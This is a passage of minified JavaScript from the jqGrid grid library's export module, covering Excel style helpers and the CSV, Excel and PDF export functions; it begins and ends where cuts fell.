borderId="0" xfId="0" applyNumberFormat="1"/></cellXfs><cellStyles count="1"><cellStyle name="Normal" xfId="0" builtinId="0" /></cellStyles><dxfs count="0" /><tableStyles count="0" defaultTableStyle="TableStyleMedium9" defaultPivotStyle="PivotStyleMedium4" /></styleSheet>'},excelParsers:[{match:/^\-?\d+\.\d%$/,style:60,fmt:function(e){return e/100}},{match:/^\-?\d+\.?\d*%$/,style:56,fmt:function(e){return e/100}},{match:/^\-?\$[\d,]+.?\d*$/,style:57},{match:/^\-?£[\d,]+.?\d*$/,style:58},{match:/^\-?€[\d,]+.?\d*$/,style:59},{match:/^\-?\d+$/,style:65},{match:/^\-?\d+\.\d{2}$/,style:66},{match:/^\([\d,]+\)$/,style:61,fmt:function(e){return-1*e.replace(/[\(\)]/g,"")}},{match:/^\([\d,]+\.\d{2}\)$/,style:62,fmt:function(e){return-1*e.replace(/[\(\)]/g,"")}},{match:/^\-?[\d,]+$/,style:63},{match:/^\-?[\d,]+\.\d{2}$/,style:64},{match:/^\d{4}\-\d{2}\-\d{2}$/,style:67},{match:/(https?:\/\/(?:www\.|(?!www))[^\s\.]+\.[^\s]{2,}|www\.[^\s]+\.[^\s]{2,})/gi,style:4}],addExcelStyle:function(e,t,r,i){t=Ye.extend({numFmtId:"0",fontId:"0",fillId:"0",borderId:"0",applyFont:"1",applyFill:"1",applyBorder:"1",xfId:"0",applyNumberFormat:"0",applyAlignment:"0"},t||{}),r=Ye.extend({horizontal:"left",indent:"0",shrinkToFit:"1",textRotation:"0",vertical:"center",wrapText:"0"},r||{}),Ye.isEmptyObject(e)&&(e.excel_parsers=!0);var o,a,n,l,s=i.getElementsByTagName("numFmts")[0],d=i.getElementsByTagName("cellXfs")[0],p=null,c=null;for(o in e)e.hasOwnProperty(o)&&(-1!==o.indexOf("format")&&(p=o),-1!==o.indexOf("style"))&&(c=o);return c&&!e[c]&&(a=l=0,p&&e[p]&&(n=Ye(s.getElementsByTagName("numFmt")),Ye.each(n,function(e,t){l++,a=Math.max(a,parseInt(Ye(t).attr("numFmtId"),10))}),n=Ye.jgrid.makeNode(i,"numFmt",{attr:{numFmtId:a+1,formatCode:e[p]}}),s.appendChild(n),Ye(s).attr("count",l+1)),s=0!==a?a+1+"":"0",l=0,t.numFmtId=s,n="1"===t.applyAlignment?Ye.jgrid.makeNode(i,"xf",{attr:t,children:[Ye.jgrid.makeNode(i,"alignment",{attr:r})]}):Ye.jgrid.makeNode(i,"xf",{attr:t}),d.appendChild(n),l=Ye("cellXfs xf",i).length,Ye(d).attr("count",l),e[c]=l-1),e},newExcelStyle:function(e,t){t=Ye.extend(!0,{font:{size:11,name:"Calibri",options:""},color:{patternType:"solid",fgColor:"FFFFFFF",bgColor:64}},t||{});var e=e.xl["styles.xml"],r=Ye("cellXfs xf",e).length-1,i=Ye("fonts font",e).length-1,o=Ye("fills fill",e).length-1,a='<font><sz val="'+t.font.size+'" /><name val="'+t.font.name+'" />'+t.font.options+"</font>",a=(e.childNodes[0].childNodes[1].innerHTML+=a,"indexed="),t=(0<=parseInt(t.color.bgColor,10)&&(a="rgb="),a+='"'+t.color.bgColor+'"','<fill><patternFill patternType="'+t.color.patternType+'"><fgColor rgb="'+t.color.fgColor+'" /><bgColor '+a+" /></patternFill></fill>"),a=(e.childNodes[0].childNodes[2].innerHTML+=t,'<xf numFmtId="0" fontId="'+(1+i)+'" fillId="'+(1+o)+'" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"></xf>');return e.childNodes[0].childNodes[5].innerHTML+=a,1+r}}),Ye.jgrid.extend({exportToCsv:function(S){S=Ye.extend(!0,{separator:",",separatorReplace:" ",quote:'"',escquote:'"',newLine:"\r\n",replaceNewLine:" ",includeCaption:!0,includeLabels:!0,includeGroupHeader:!0,includeFooter:!0,includeHeader:!0,fileName:"jqGridExport.csv",mimetype:"text/csv;charset=utf-8",returnAsString:!1,onBeforeExport:null,treeindent:" ",visibleTreeNodes:!1,loadIndicator:!0},S||{});var k="";return this.each(function(){S._regexsep=new RegExp(S.separator,"g"),S._regexquot=new RegExp(S.quote,"g");var e,t,_=this,r=_.p.treeGrid?Ye(_).jqGrid("getRowData",null,!0,S.treeindent,S.visibleTreeNodes):_.addLocalData(!0),i=r.length,o=_.p.colModel,a=o.length,n=_.p.colNames,l=0,s="",d="",p="",c="",u="",h=[],g="";function f(p,c){var u="",h=_.p.groupingView,g=[],f=h.groupField.length,m=_.p.colModel,v=m.length,j=0;function b(e,t,r,i){for(var o,a,n=function(e,t,r){var i,o=!1;if(0===t)o=r[e];else{var a=r[e].idx;if(0===a)o=r[e];else for(i=e;0<=i;i--)if(r[i].idx===a-t){o=r[i];break}}return o}(e,t,r),l=n.cnt,s=new Array(c.collen),d=0,p=i;p<v;p++)m[p]._expcol&&(a="{0}",Ye.each(n.summary,function(){if(this.nm===m[p].name){m[p].summaryTpl&&(a=m[p].summaryTpl),o=this.v,"string"==typeof this.st&&"avg"===this.st.toLowerCase()&&(this.sd&&this.vd?o=this.v/this.vd:this.v&&0<l&&(o=this.v/l));try{this.groupCount=n.cnt,this.groupIndex=n.dataIndex,this.groupValue=n.value,o=_.formatter("",o,p,this)}catch(e){o=this.v}return s[d]=Ye.jgrid.formatCellCsv(Ye.jgrid.stripHtml(Ye.jgrid.template(a,o)),c),!1}}),d++);return s}Ye.each(m,function(e,t){for(var r=0;r<f;r++)if(h.groupField[r]===t.name){g[r]=e;break}});var y,w,x=Ye.makeArray(h.groupSummary);if(x.reverse(),"local"===_.p.datatype&&!_.p.loadonce){Ye(_).jqGrid("groupingSetup");for(var e=Ye.jgrid.getMethod("groupingPrepare"),t=0;t<i;t++)e.call(Ye(_),r[t],t)}return Ye.each(h.groups,function(e,t){j++;try{y=Array.isArray(h.formatDisplayField)&&Ye.jgrid.isFunction(h.formatDisplayField[t.idx])?h.formatDisplayField[t.idx].call(_,t.displayValue,t.value,_.p.colModel[g[t.idx]],t.idx,h):_.formatter("",t.displayValue,g[t.idx],t.value)}catch(e){y=t.displayValue}var r,i="";if("string"!=typeof(i=Ye.jgrid.isFunction(h.groupText[t.idx])?h.groupText[t.idx].call(_,y,t.cnt,t.summary):Ye.jgrid.template(h.groupText[t.idx],y,t.cnt,t.summary))&&"number"!=typeof i&&(i=y),(r="header"===h.groupSummaryPos[t.idx]?b(e,0,h.groups,0):new Array(c.collen))[0]=Ye.jgrid.formatCellCsv(Ye.jgrid.stripHtml(i),c),u+=r.join(c.separator)+c.newLine,f-1===t.idx){for(var o,a,n,l=h.groups[e+1],i=t.startRow,s=void 0!==l?l.startRow:h.groups[e].startRow+h.groups[e].cnt,d=i;d<s&&p[+d];d++){for(a=p[+d],o=w=0;o<m.length;o++)m[o]._expcol&&(r[w]=Ye.jgrid.formatCellCsv(Ye.jgrid.formatCell(Ye.jgrid.getAccessor(a,m[o].name),o,a,m[o],_,"csv"),c),w++);u+=r.join(c.separator)+c.newLine}if("header"!==h.groupSummaryPos[t.idx]){if(void 0!==l){for(n=0;n<h.groupField.length&&l.dataIndex!==h.groupField[n];n++);j=h.groupField.length-n}for(o=0;o<j;o++)x[o]&&(r=b(e,o,h.groups,0),u+=r.join(c.separator)+c.newLine);j=n}}}),u}Ye.jgrid.isFunction(S.loadIndicator)?S.loadIndicator.call(_,"show"):S.loadIndicator&&Ye(_).jqGrid("progressBar",{method:"show",loadtype:_.p.loadui,htmlcontent:Ye.jgrid.getRegional(_,"defaults.loadtext")});var m,v,j=[];if(Ye.each(o,function(e,t){t._expcol=!0,void 0===t.exportcol?t.hidden&&(t._expcol=!1):t._expcol=t.exportcol,"cb"!==t.name&&"rn"!==t.name&&"subgrid"!==t.name&&"sc"!==t.name||(t._expcol=!1),t._expcol&&(h.push(Ye.jgrid.formatCellCsv(n[e],S)),j.push(t.name))}),S.includeLabels&&(u=h.join(S.separator)+S.newLine),S.collen=h.length,_.p.grouping){var b=!!_.p.groupingView._locgr;_.p.groupingView._locgr=!1,s+=f(r,S),_.p.groupingView._locgr=b}else for(;l<i;){for(e=r[l],q=[],w=t=0;w<a;w++)o[w]._expcol&&(q[t]=Ye.jgrid.formatCellCsv(Ye.jgrid.formatCell(Ye.jgrid.getAccessor(e,o[w].name),w,e,o[w],_,"csv"),S),t++);s+=q.join(S.separator)+S.newLine,l++}if(r=null,q=new Array(S.collen),S.includeCaption&&_.p.caption){for(l=S.collen;--l;)q[l]="";q[0]=Ye.jgrid.formatCellCsv(_.p.caption,S),d+=q.join(S.separator)+S.newLine}if(S.includeGroupHeader&&Ye(_).jqGrid("isGroupHeaderOn"))for(var y=_.p.groupHeader,w=0;w<y.length;w++){for(var x=y[w].groupHeaders,l=0,q=[],C=0;C<j.length;C++){for(q[l]="",t=0;t<x.length;t++)x[t].startColumnName===j[C]&&(q[l]=Ye.jgrid.formatCellCsv(x[t].titleText,S));l++}p+=q.join(S.separator)+S.newLine}if(S.includeFooter&&_.p.footerrow)for(var I,D,F=Ye(_).jqGrid("footerData","getlength"),G=0;G<F;G++){for(I=Ye(_).jqGrid("footerData","get",null,!1,G,!1),w=0,q=[];w<S.collen;)I.hasOwnProperty(D=j[w])&&q.push(Ye.jgrid.formatCellCsv(Ye.jgrid.stripHtml(I[D]),S)),w++;c+=q.join(S.separator)+S.newLine}if(S.includeHeader&&_.p.headerrow)for(F=Ye(_).jqGrid("headerData","getlength"),G=0;G<F;G++){for(m=Ye(_).jqGrid("headerData","get",null,!1,G,!1),w=0,q=[];w<S.collen;)m.hasOwnProperty(v=j[w])&&q.push(Ye.jgrid.formatCellCsv(Ye.jgrid.stripHtml(m[v]),S)),w++;g+=q.join(S.separator)+S.newLine}if(k=d+p+u+g+s+c,Ye.jgrid.isFunction(S.loadIndicator)?S.loadIndicator.call(_,"hide"):S.loadIndicator&&Ye(_).jqGrid("progressBar",{method:"hide",loadtype:_.p.loadui}),Ye.jgrid.isFunction(S.onBeforeExport)&&!(k=S.onBeforeExport.call(_,k)))throw"Before export does not return data!";S.returnAsString||(-1!==S.mimetype.toUpperCase().indexOf("UTF-8")&&(k="\ufeff"+k),Ye.jgrid.saveAs(k,S.fileName,{type:S.mimetype}))}),k},exportToExcel:function(ee){ee=Ye.extend(!0,{includeLabels:!0,includeGroupHeader:!0,includeFooter:!0,includeHeader:!0,fileName:"jqGridExport.xlsx",mimetype:"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",maxlength:40,onBeforeExport:null,customizeData:null,replaceStr:null,treeindent:" ",visibleTreeNodes:!1,loadIndicator:!0},ee||{}),this.each(function(){for(var e,t,y=this,r=Ye.jgrid.excelStrings,m=0,v=Ye.parseXML(r["xl/worksheets/sheet1.xml"]),A=v.getElementsByTagName("sheetData")[0],i=Ye.parseXML(r["xl/styles.xml"]),r={_rels:{".rels":Ye.parseXML(r["_rels/.rels"])},xl:{_rels:{"workbook.xml.rels":Ye.parseXML(r["xl/_rels/workbook.xml.rels"])},"workbook.xml":Ye.parseXML(r["xl/workbook.xml"]),"styles.xml":i,worksheets:{"sheet1.xml":v}},"[Content_Types].xml":Ye.parseXML(r["[Content_Types].xml"])},w=y.p.colModel,o=0,x={body:y.p.treeGrid?Ye(y).jqGrid("getRowData",null,!0,ee.treeindent,ee.visibleTreeNodes):y.addLocalData(!0),header:[],footer:[],width:[],map:[],parser:[],labels:[],hidden:[],mergecell:[]},T=Ye.jgrid.addExcelStyle({excel_header_style:""},{fontId:"2",applyAlignment:"1"},{horizontal:"center",vertical:"center"},i).excel_header_style,a=0,n=w.length;a<n;a++)w[a]._expcol=!0,void 0===w[a].exportcol?w[a].hidden&&(w[a]._expcol=!1):w[a]._expcol=w[a].exportcol,void 0===w[a]._colspancell&&(w[a]._colspancell=!1),Ye.jgrid.isServiceCol(w[a].name)||!w[a]._expcol?x.hidden.push(w[a].name):(x.header[o]=w[a].name,x.width[o]=5,x.map[o]=a,x.labels[o]=y.p.colNames[a],w[a].hasOwnProperty("exportoptions")?(e={},t={},w[a].exportoptions.excel_format&&(e=Ye.jgrid.addExcelStyle({excel_format:w[a].exportoptions.excel_format,excel_style:w[a].exportoptions.excel_style||""},{},{},i)),w[a].exportoptions.excel_header_format&&(t=Ye.jgrid.addExcelStyle({excel_header_format:w[a].exportoptions.excel_header_format,excel_header_style:w[a].exportoptions.excel_header_style||""},{fontId:"2",applyAlignment:"1"},{horizontal:"center"},i)),x.parser[a]=Ye.extend(e,t),w[a].exportoptions.replace_format&&(x.parser[a].replace_format=w[a].exportoptions.replace_format),w[a].exportoptions.replace_header_format&&(x.parser[a].replace_header_format=w[a].exportoptions.replace_header_format)):x.parser[a]={excel_parsers:!0},o++);if(ee.includeFooter||y.p.footerrow)for(var l,P=Ye(y).jqGrid("footerData","getlength"),B=0;B<P;B++){for(o in l=Ye(y).jqGrid("footerData","get",null,!1,B,!1))l.hasOwnProperty(o)&&(l[o]=Ye.jgrid.stripHtml(l[o]));x.footer.push(l)}function j(e,t){return Ye.jgrid.makeNode(v,"c",{attr:e,children:[Ye.jgrid.makeNode(v,"v",{text:t})]})}function b(e,t,r){return Ye.jgrid.makeNode(v,"c",{attr:{t:"inlineStr",r:e,s:r=void 0===r?68:r},children:{row:Ye.jgrid.makeNode(v,"is",{children:{row:Ye.jgrid.makeNode(v,"t",{text:t})}})}})}Ye.jgrid.isFunction(ee.customizeData)&&ee.customizeData.call(y,x);var E,_,z=Ye.jgrid.isFunction(ee.replaceStr)?ee.replaceStr:function(e){return e.replace(/</g,"<").replace(/>/g,">").replace(/[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]/g,"")},q=function(e,t,r,i){void 0===r&&(r=!1),void 0===i&&(i=!1),E=m+1,_=Ye.jgrid.makeNode(v,"row",{attr:{r:E}});for(var o,a,n=0;n<x.header.length;n++){var l,s,d=Ye.jgrid.excelCellPos(n)+""+E,p=(null==(f=Array.isArray(e)&&t?x.labels[n]:Ye.jgrid.getAccessor(e,x.header[n]))&&(f=""),t||(f=0===n&&i||i&&""===f?f:Ye.jgrid.formatCell(f,x.map[n],e,w[x.map[n]],y,"excel"))&&(" "===f||" "===f||1===f.length&&160===f.charCodeAt(0))&&(f=""),x.width[n]=Math.max(x.width[n],Math.min(parseInt(f.toString().length,10),ee.maxlength)),l=null,x.parser[x.map[n]]);if(t&&r)p.replace_header_format&&(f=p.replace_header_format(f)),l=void 0!==p.excel_header_style?"text"===p.excel_header_style?b(d,f):p.excel_header_style<=55?b(d,f,p.excel_header_style):j({r:d,s:p.excel_header_style},f):b(d,f,T),_.appendChild(l);else if(!0!==p.excel_parsers||l)void 0===p.excel_style||t||l||(p.replace_format&&(f=p.replace_format(f)),l="text"===p.excel_style?b(d,f):p.excel_style<=55?b(d,f,p.excel_style):j({r:d,s:p.excel_style},f),_.appendChild(l));else for(var c=0,u=Ye.jgrid.excelParsers.length;c<u;c++){var h=Ye.jgrid.excelParsers[c];if(f.match&&!f.match(/^0\d+/)&&f.match(h.match)){var g=f,f=f.replace(/[^\d\.\-]/g,"");if(h.fmt&&(f=h.fmt(f)),67===h.style)l=j({t:"d",r:d,s:h.style},f);else if(4===h.style)o=g,a=void 0,(a=document.createElement("div")).innerHTML=o,l=(f="A"===(o=a.firstChild).nodeName?[o.href,o.text]:"#text"===o.nodeName&&[o.textContent,o.textContent])?(a={t:"str",r:d,s:h.style},o='HYPERLINK("'+f[0]+'","'+f[1]+'")',Ye.jgrid.makeNode(v,"c",{attr:a,children:[Ye.jgrid.makeNode(v,"f",{text:o})]})):b(d,g);else{if(Ye.inArray(h.style,["63","64","65","66"])&&15<f.toString().length){l=b(d,g.replace?z(g):g),_.appendChild(l);break}l=j({r:d,s:h.style},f)}_.appendChild(l);break}}l||(f.match&&(s=f.match(/^-?([1-9]\d+)(\.(\d+))?$/)),l="number"==typeof f&&f.toString().length<=15||s&&s[1].length+(s[2]?s[3].length:0)<=15?j({t:"n",r:d},f):b(d,f.replace?z(f):f),_.appendChild(l))}A.appendChild(_),m++};function H(p){var c=y.p.groupingView,u=[],h=c.groupField.length,g=w.length,f=0;function m(e,t,r,i){for(var o,a,n=function(e,t,r){var i,o=!1;if(0===t)o=r[e];else{var a=r[e].idx;if(0===a)o=r[e];else for(i=e;0<=i;i--)if(r[i].idx===a-t){o=r[i];break}}return o}(e,t,r),l=n.cnt,s=v(x.header),d=i;d<g;d++)w[d]._expcol&&(a="{0}",Ye.each(n.summary,function(){if(this.nm===w[d].name){w[d].summaryTpl&&(a=w[d].summaryTpl),o=this.v,"string"==typeof this.st&&"avg"===this.st.toLowerCase()&&(this.sd&&this.vd?o=this.v/this.vd:this.v&&0<l&&(o=this.v/l));try{this.groupCount=n.cnt,this.groupIndex=n.dataIndex,this.groupValue=n.value}catch(e){o=this.v}return s[this.nm]=Ye.jgrid.stripHtml(Ye.jgrid.template(a,o)),!1}}));return s}function v(e){for(var t={},r=0;r<e.length;r++)t[e[r]]="";return t}Ye.each(w,function(e,t){for(var r=0;r<h;r++)if(c.groupField[r]===t.name){u[r]=e;break}});var j,b=Ye.makeArray(c.groupSummary);if(b.reverse(),"local"===y.p.datatype&&!y.p.loadonce){Ye(y).jqGrid("groupingSetup");for(var e=Ye.jgrid.getMethod("groupingPrepare"),t=0;t<x.body.length;t++)e.call(Ye(y),x.body[t],t)}Ye.each(c.groups,function(e,t){f++;try{j=Array.isArray(c.formatDisplayField)&&Ye.jgrid.isFunction(c.formatDisplayField[t.idx])?c.formatDisplayField[t.idx].call(y,t.displayValue,t.value,y.p.colModel[u[t.idx]],t.idx,c):y.formatter("",t.displayValue,u[t.idx],t.value)}catch(e){j=t.displayValue}var r="",i=("string"!=typeof(r=Ye.jgrid.isFunction(c.groupText[t.idx])?c.groupText[t.idx].call(y,j,t.cnt,t.summary):Ye.jgrid.template(c.groupText[t.idx],j,t.cnt,t.summary))&&"number"!=typeof r&&(r=j),"header"===c.groupSummaryPos[t.idx]?m(e,0,c.groups,0):v(x.header));if(i[Object.keys(i)[0]]=Ye.jgrid.stripHtml(new Array(5*t.idx).join(" ")+r),q(i,!1,!1,!0),h-1===t.idx){for(var o,a,n=c.groups[e+1],r=t.startRow,l=void 0!==n?n.startRow:c.groups[e].startRow+c.groups[e].cnt,s=r;s<l&&p[+s];s++){var d=p[+s];q(d,!1)}if("header"!==c.groupSummaryPos[t.idx]){if(void 0!==n){for(a=0;a<c.groupField.length&&n.dataIndex!==c.groupField[a];a++);f=c.groupField.length-a}for(o=0;o<f;o++)b[o]&&(i=m(e,o,c.groups,0),q(i,!1,!1,!0));f=a}}})}Ye.jgrid.isFunction(ee.loadIndicator)?ee.loadIndicator.call(y,"show"):ee.loadIndicator&&Ye(y).jqGrid("progressBar",{method:"show",loadtype:y.p.loadui,htmlcontent:Ye.jgrid.getRegional(y,"defaults.loadtext")}),Ye("sheets sheet",r.xl["workbook.xml"]).attr("name",ee.sheetName);var s,d,p,c,u,h,g=0,f=[],C={};if(ee.includeGroupHeader&&Ye(y).jqGrid("isGroupHeaderOn"))for(s=y.p.groupHeader,p=0;p<s.length;p++){var I,D,F,G,S=s[p].groupHeaders,U=s[p].useColSpanStyle&&1===s.length,L=[],V=[],W=[];if(g++,U)for(I=0;I<S.length;I++)for(d=S[I].startColumnName,D=S[I].numberOfColumns,G=F=Ye.jgrid.getElemByAttrVal(w,"name",d,!0);G<F+S[I].numberOfColumns;G++)W[w[G].name]=d,-1!==(c=x.header.indexOf(w[G].name))&&L.push(c);for(a=0;a<x.header.length;a++){for(C[d=x.header[a]]=U?x.labels[a]:"",h=u=-1,I=0;I<S.length;I++)if(S[I].startColumnName===d){for(V.push(d),C[d]=S[I].titleText,D=S[I].numberOfColumns,G=F=Ye.jgrid.getElemByAttrVal(w,"name",d,!0);G<F+S[I].numberOfColumns;G++)!0===w[G].hidden&&D--;u=Ye.jgrid.excelCellPos(a)+g,h=Ye.jgrid.excelCellPos(a+D-1)+g,f.push({ref:u+":"+h})}-1===u&&-1===h&&U&&-1===L.indexOf(a)&&(u=Ye.jgrid.excelCellPos(a)+g,h=Ye.jgrid.excelCellPos(a)+(g+1),f.push({ref:u+":"+h}))}if(V.length<S.length)for(I=0;I<x.hidden.length;I++){var k=Ye.jgrid.inColumnHeader(x.hidden[I],S);if(0<=k)for(var R in d=x.hidden[I],W)if(W[R]===d&&C[R]){for(C[R]=S[k].titleText,c=x.header.indexOf(R),D=S[k].numberOfColumns,G=F=Ye.jgrid.getElemByAttrVal(w,"name",d,!0);G<F+S[k].numberOfColumns;G++)!0===w[G].hidden&&D--;u=Ye.jgrid.excelCellPos(c)+g,h=Ye.jgrid.excelCellPos(c+D-1)+g,f.push({ref:u+":"+h});break}}q(C,!0,!0)}if(ee.includeLabels)if(y.p.colSpanHeader.length){for(g++,s=y.p.colSpanHeader,C={},a=0;a<x.header.length;a++)for(C[d=x.header[a]]=x.labels[a],p=0;p<s.length;p++)(S=s[p]).startColumnName===d&&(C[d]=S.titleText,u=Ye.jgrid.excelCellPos(a)+g,h=Ye.jgrid.excelCellPos(a+S.numberOfColumns-1)+g,f.push({ref:u+":"+h}));q(C,!0,!0)}else q(x.header,!0,!0);if((f=x.mergecell.length?f.concat(x.mergecell):f).length){var Q=Ye.jgrid.makeNode(v,"mergeCells",{attr:{count:f.length}});for(Ye("worksheet",v).append(Q),o=0;o<f.length;o++)Q.appendChild(Ye.jgrid.makeNode(v,"mergeCell",{attr:f[o]}))}if(ee.includeHeader||y.p.headerrow)for(var N,X=Ye(y).jqGrid("headerData","getlength"),K=0;K<X;K++){for(o in N=Ye(y).jqGrid("headerData","get",null,!1,K,!1))N.hasOwnProperty(o)&&(N[o]=Ye.jgrid.stripHtml(N[o]));Ye.isEmptyObject(N)||(q(N,!0),Ye("row",v).last().find("c").attr("s","2"))}if(y.p.grouping){var $=!!y.p.groupingView._locgr;y.p.groupingView._locgr=!1,H(x.body),y.p.groupingView._locgr=$}else for(var M=0,Y=x.body.length;M<Y;M++)q(x.body[M],!1);if((ee.includeFooter||y.p.footerrow)&&!Ye.isEmptyObject(x.footer))if(Array.isArray(x.footer))for(M=0;M<x.footer.length;M++)q(x.footer[M],!0),Ye("row",v).last().find("c").attr("s","2");else q(x.footer,!0),Ye("row",v).last().find("c").attr("s","2");var J=Ye.jgrid.makeNode(v,"cols");for(Ye("worksheet",v).prepend(J),o=0,n=x.width.length;o<n;o++)J.appendChild(Ye.jgrid.makeNode(v,"col",{attr:{min:o+1,max:o+1,width:x.width[o],customWidth:1}}));Ye.jgrid.isFunction(ee.onBeforeExport)&&ee.onBeforeExport.call(y,r,m),x=null;try{var O=new JSZip,Z={type:"blob",mimeType:ee.mimetype};Ye.jgrid.xmlToZip(O,r),O.generateAsync?O.generateAsync(Z).then(function(e){Ye.jgrid.saveAs(e,ee.fileName,{type:ee.mimetype})}):Ye.jgrid.saveAs(O.generate(Z),ee.fileName,{type:ee.mimetype})}catch(e){throw e}finally{Ye.jgrid.isFunction(ee.loadIndicator)?ee.loadIndicator.call(y,"hide"):ee.loadIndicator&&Ye(y).jqGrid("progressBar",{method:"hide",loadtype:y.p.loadui})}})},exportToPdf:function(S){return S=Ye.extend(!0,{title:null,orientation:"portrait",pageSize:"A4",description:null,onBeforeExport:null,download:"download",includeLabels:!0,includeGroupHeader:!0,includeFooter:!0,includeHeader:!0,fileName:"jqGridExport.pdf",mimetype:"application/pdf",treeindent:"-",visibleTreeNodes:!1,centerTableOnPage:!1,loadIndicator:!0},S||{}),this.each(function(){var e,t,r,x=this,_=[],i=x.p.colModel,l={},s=x.p.treeGrid?Ye(x).jqGrid("getRowData",null,!0,S.treeindent,S.visibleTreeNodes):x.addLocalData(!0),q=[],d=0,C=[],o=[],a=[],I={};function n(p){var c=x.p.groupingView,u=[],h=c.groupField.length,g=x.p.colModel,f=g.length,m=0;function v(e,t,r){var i,o=0,a=[];void 0===r&&(r=!1);for(var n=0;n<q.length;n++)i=e[q[n]],l={text:null==i||""===i?"":t&&!(0===n&&r)?Ye.jgrid.formatCell(i+"",C[o],s[d],g[C[o]],x,"pdf"):i,alignment:I[n],style:"tableBody"},a.push(l),o++;return a}function j(e,t,r,i){for(var o,a,n=function(e,t,r){var i,o=!1;if(0===t)o=r[e];else{var a=r[e].idx;if(0===a)o=r[e];else for(i=e;0<=i;i--)if(r[i].idx===a-t){o=r[i];break}}return o}(e,t,r),l=n.cnt,s=b(q),d=i;d<f;d++)g[d]._expcol&&(a="{0}",Ye.each(n.summary,function(){if(this.nm===g[d].name){g[d].summaryTpl&&(a=g[d].summaryTpl),o=this.v,"string"==typeof this.st&&"avg"===this.st.toLowerCase()&&(this.sd&&this.vd?o=this.v/this.vd:this.v&&0<l&&(o=this.v/l));try{this.groupCount=n.cnt,this.groupIndex=n.dataIndex,this.groupValue=n.value}catch(e){o=this.v}return s[this.nm]=Ye.jgrid.stripHtml(Ye.jgrid.template(a,o)),!1}}));return s}function b(e){for(var t={},r=0;r<e.length;r++)t[e[r]]="";return t}Ye.each(g,function(e,t){for(var r=0;r<h;r++)if(c.groupField[r]===t.name){u[r]=e;break}});var y,w=Ye.makeArray(c.groupSummary);if(w.reverse(),"local"===x.p.datatype&&!x.p.loadonce){Ye(x).jqGrid("groupingSetup");for(var e=Ye.jgrid.getMethod("groupingPrepare"),t=0;t<s.length;t++)e.call(Ye(x),s[t],t)}Ye.each(c.groups,function(e,t){m++;try{y=Array.isArray(c.formatDisplayField)&&Ye.jgrid.isFunction(c.formatDisplayField[t.idx])?c.formatDisplayField[t.idx].call(x,t.displayValue,t.value,x.p.colModel[u[t.idx]],t.idx,c):x.formatter("",t.displayValue,u[t.idx],t.value)}catch(e){y=t.displayValue}var r="",i=("string"!=typeof(r=Ye.jgrid.isFunction(c.groupText[t.idx])?c.groupText[t.idx].call(x,y,t.cnt,t.summary):Ye.jgrid.template(c.groupText[t.idx],y,t.cnt,t.summary))&&"number"!=typeof r&&(r=y),"header"===c.groupSummaryPos[t.idx]?j(e,0,c.groups,0):b(q));if(i[Object.keys(i)[0]]=Ye.jgrid.stripHtml(new Array(5*t.idx).join(" ")+r),_.push(v(i,!0,!0)),h-1===t.idx){for(var o,a,n=c.groups[e+1],r=t.startRow,l=void 0!==n?n.startRow:c.groups[e].startRow+c.groups[e].cnt,s=r;s<l&&p[+s];s++){var d=p[+s];_.push(v(d,!0))}if("header"!==c.groupSummaryPos[t.idx]){if(void 0!==n){for(a=0;a<c.groupField.length&&n.dataIndex!==c.groupField[a];a++);m=c.groupField.length-a}for(o=0;o<m;o++)w[o]&&(i=j(e,o,c.groups,0),_.push(v(i,!0,!0)));m=a}}})}for(Ye.jgrid.isFunction(S.loadIndicator)?S.loadIndicator.call(x,"show"):S.loadIndicator&&Ye(x).jqGrid("progressBar",{method:"show",loadtype:x.p.loadui,htmlcontent:Ye.jgrid.getRegional(x,"defaults.loadtext")}),e=0,D=i.length;e<D;e++)i[e]._expcol=!0,void 0===i[e].exportcol?i[e].hidden&&(i[e]._expcol=!1):i[e]._expcol=i[e].exportcol,!Ye.jgrid.isServiceCol(i[e].name)&&i[e]._expcol&&(l={text:x.p.colNames[e],style:"tableHeader"},o.push(l),q[d]=i[e].name,C[d]=e,a.push(i[e].width),I[i[e].name]=i[e].align||"left",d++);if(S.includeGroupHeader&&Ye(x).jqGrid("isGroupHeaderOn"))for(r=x.p.groupHeader,d=0;d<r.length;d++){for(var p=[],c=r[d].groupHeaders,u=r[d].useColSpanStyle,h=0;h<i.length;h++){var g=!0;for(Ye.jgrid.isServiceCol(i[h].name)||!i[h]._expcol?g=!1:l=u?{text:x.p.colNames[h],style:"tableHeader",rowSpan:2,verticalAlign:"center"}:{text:"",style:"tableHeader"},t=0;t<c.length;t++)if(c[t].startColumnName===i[h].name){for(var f=c[t].numberOfColumns,m=h;m<h+c[t].numberOfColumns;m++)!0===i[m].hidden&&f--;!(l={text:c[t].titleText,colSpan:f,style:"tableHeader"})===g&&0<f&&(g=!0,h+=c[t].numberOfColumns-f)}g&&p.push(l)}_.push(p)}if(S.includeLabels)if(x.p.colSpanHeader.length){for(r=x.p.colSpanHeader,p=[],h=0;h<q.length;h++){for(l={text:x.p.colNames[h],style:"tableHeader",verticalAlign:"center"},t=0;t<r.length;t++)r[t].startColumnName===q[h]&&(l={text:r[t].titleText,colSpan:r[t].numberOfColumns,style:"tableHeader"});p.push(l),e++}_.push(p)}else _.push(o);if(S.includeHeader&&x.p.headerrow)for(var v,j=Ye(x).jqGrid("headerData","getlength"),b=0;b<j;b++){for(v=Ye(x).jqGrid("headerData","get",null,!1,b,!1),o=[],h=0;h<q.length;h++)l={text:Ye.jgrid.stripHtml(Ye.jgrid.getAccessor(v,q[h])),style:"tableFooter",alignment:I[q[h]]},o.push(l);_.push(o)}if(x.p.grouping){var y=!!x.p.groupingView._locgr;x.p.groupingView._locgr=!1,n(s),x.p.groupingView._locgr=y}else for(var w,d=0,D=s.length;d<D;d++){for(o=[],w=s[d],h=t=0;h<q.length;h++)l={text:null==w[q[h]]?"":Ye.jgrid.stripHtml(Ye.jgrid.formatCell(Ye.jgrid.getAccessor(w,q[h])+"",C[t],s[d],i[C[t]],x,"pdf")),alignment:I[q[h]],style:"tableBody"},o.push(l),t++;_.push(o)}if(S.includeFooter&&x.p.footerrow)for(j=Ye(x).jqGrid("footerData","getlength"),b=0;b<j;b++){var 